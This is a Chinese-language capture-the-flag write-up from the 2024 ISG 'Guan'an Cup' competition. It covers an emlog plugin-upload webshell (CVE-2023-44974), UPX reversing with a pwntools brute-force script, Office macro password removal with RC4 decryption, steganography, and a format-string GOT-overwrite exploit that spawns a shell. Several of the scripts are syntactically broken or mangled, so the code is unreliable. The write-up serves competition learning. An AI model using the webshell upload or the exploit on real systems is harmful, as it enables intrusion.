2024年ISG观安杯WP
2024年ISG网络安全技能竞赛“观安杯”管理运维赛初赛
1.获奖情况
中国人民警察大学的 SeeU-Sec 战队荣获教育1组二等奖。
2.队伍信息
队伍名称:SeeU-Sec
比赛排名:3
队伍成员:刘奕强 辛明琦 李光洋 肖亚虎
3.题目详情
WP
Web
emm
前面就是正常的随便输入用户密码邮箱 进行安装 然后登陆后台
找到一个emlog的任意文件上传漏洞CVE-2023-44974
在插件处上传webshell压缩包 要求是文件夹要和webshell的名字相同 可以用这个里面的
https://github.com/yangliukk/emlog/tree/main
然后访问webshell 执行命令 得到flag
Re
rev_shell
先看日志文件
跑一下程序对照,拿到cipher和key
再看可执行文件
die查壳
upx壳,工具脱不了,一开始以为是工具版本的问题,后来发现github最新版是4.2.4,但是题目是4.3,猜测可能是魔改?
再尝试下断点手脱,但是报错
再尝试直接跑起来attach,成功附加但是没dump下来,堵死
最后尝试直接爆破,先测试出明文长度37
大小写字母数字以及下划线组合,找pwn手from pwn写按位爆破脚本
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
context(arch='amd64',log_level='debug')
#context(arch='i386',log_level='debug')
def s(a):
io.send(a)
def sa(a, b):
io.sendafter(a, b)
def sl(a):
io.sendline(a)
def sla(a, b):
io.sendlineafter(a, b)
def r():
io.recv()
def pr():
print(io.recv())
def rl(a):
return io.recvuntil(a)
def inter():
io.interactive()
def debug():
gdb.attach(io)
pause()
def get_addr():
return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
def ret_csu(r12, r13, r14, r15, last):
payload = offset * 'a'
#构造栈溢出的padding
payload += p64(gadget1)
#gadgets1的地址
payload += p64(0) + p64(1)
#rbx=0, rbp=1
payload += p64(r12)
#call调用的地址
payload += p64(r13) + p64(r14) + p64(r15)
#三个参数的寄存器
payload += p64(gadget2)
#gadgets2的地址
payload += 'a' * 56
#pop出的padding
payload += p64(last)
#函数最后的返回地址
return payload
io=process('./encsh')
#io=remote('',)
#elf=ELF('./')
#libc=ELF('./')
import string
key = 'mykeymykeyhackergoawayyourkeyyou'
flag = '00000000000000000000000000000000000000000000000000000'
v = [227, 83, 162, 17, 197, 102, 127, 119, 94, 208, 82, 187, 221, 191, 112, 186, 0, 170, 191, 44, 233, 242, 209, 114,
70, 116, 203, 80, 72, 65, 254, 111, 119, 146, 95, 180, 182, 77, 140, 110, 204, 249, 76, 34, 229, 39, 30, 12, 248,
89, 158, 103, 170]
FLAG = ''
sla('>', 'key')
sl(key)
sla('>', 'enc')
sl(flag)
rl('[')
ans = rl(']').decode()
temp = ans[:-1].split(', ')
tmp = int(temp[i])
for i in range(len(v)):
for j in string.printable:
ans = flag[:i] + j + flag[i + 1:]
S(ans)
if tmp == v[i]:
FLAG += j
break
print(FLAG)
io.close()
ISG{ThIsisMYuPx_notYOuR5_Gg_hjD95wk1}
Misc
office
SSN6aVR4bnh2YmcjR0M5
#GC9 ziTxnxvbg
尝试编辑宏 发现有保护密码
使用LibreOffice Calc打开可以消除宏
写解密脚本 恢复flag
def decrypt(encrypted_message):
# 将加密字符串分割成整数字符串,并去除空字符串
message_parts = [int(part) for part in encrypted_message.split(',') if part]
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
x = 0
y = 0
decrypted_message = ""
for i in range(len(message_parts)):
x = (x + 1) % 256
y = (y + s[x]) % 256
s[x], s[y] = s[y], s[x]
char = chr(s[(s[x] + s[y]) % 256] ^ message_parts[i])
decrypted_message += char
return decrypted_message
if __name__ == "__main__":
encrypted = "184,116,232,38,216,127,29,89,225,84,108,82,8,0,161,49,232,127,45,252,147,140,185,210,26,107,123,2,82,189,0,167,205,130,94,54,94,242,138,139,102,79,250,139,9,142,17,42,198,113,246,6,142,31,"
decrypted = decrypt(encrypted)
print("Decrypted Message:", decrypted)
另外
说一下另一种思路 直接在wps里面取消掉打开密码
密码加密里面删掉原来的密码——应用 再打开就没有密码了 olevba也可以正常使用了
olevba problem.xlsm
另外2
还有一种消除宏保护密码的方法 在wps中另存为xls文档 使用010打开这个xls文档 找到DPB字段 改为DPX 就可以消除宏保护密码
misc_see_it
题目说明
t's not what you hear, it's what you see.
解题思路
末尾压缩包
提出来解压 得到密码 p@ssw0rd_1s_myg0 还有steghide字段提示
直接解密 得到png lsb隐写得到flag
Pwn
rejectdallor
题目大致意思很简单,就是检测了符号$的输入,并且在printf之前会将我们输入的内容进行分类,这样就会增加我们利用格式化字符串的难度。
这里的思路是通过在输入内容前加上'n'来绕过分类功能,无法使用$符号就只能重复输入格式化字符串来达到相同目的。然后利用格式化字符串将我们的Put的got表改写成system然后输入sh实现getshell。
这里要先获得Libc基地址,我们先利用一次格式化字符串泄露出我们想要的地址,这里我们泄露Libc_start_main函数。
计算偏移得到Libc_base
然后就是改写地址了
def sla(a, b):
io.sendlineafter(a, b)
def r():
io.recv()
def pr():
print(io.recv())
def rl(a):
return io.recvuntil(a)
def inter():
io.interactive()
def dbg():
gdb.attach(io)
pause()
def get_addr():
return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
def ret_csu(r12, r13, r14, r15, last):
payload = offset * 'a'
#构造栈溢出的padding
payload += p64(gadget1)
#gadgets1的地址
payload += p64(0) + p64(1)
#rbx=0, rbp=1
payload += p64(r12)
#call调用的地址
payload += p64(r13) + p64(r14) + p64(r15)
#三个参数的寄存器
payload += p64(gadget2)
#gadgets2的地址
payload += 'a' * 56
#pop出的padding
payload += p64(last)
#函数最后的返回地址
return payload
io=process('./pwn')
#io=remote('',)
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
def lea(message):
sla(b'choice > ',b'1')
sla(b'message >',message)
def sor():
sla(b'choice > ',b'2')
def ori():
sla(b'choice > ',b'3')
payload=b'n'+b'%d'42+b'.%p'
lea(payload)
dbg()
sor()
#dbg()
libc_base = int(p.recvuntil(".")[:-1],16)-0x29d90
addr1 = (libc.symbols['system'] & 0xffff) - 0x21
addr2 = ((libc.symbols['system']16)&0xffff)-(libc.symbols['system']&0xffff)
print('libc:',hex(libc.address))
payload= b'n'+b'%c'0x20+b'%'+str(addr1).encode()+b'c%hn%'+str(addr2).encode()+b'c%hn'
payload= snd.ljust((0x22-8)8)+p64(elf.got['puts'])
payload= snd.ljust((0x24-8)8)+p64(elf.got['puts']+2)
lea(payload)
sor()
lea(b'sh')
ori()
inter()
编辑&排版 | 火火火木
作者 | w3nx1z1、Ctime、qui1t_p3n
原文始发于微信公众号(SeeUSec):2024年ISG观安杯WP
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论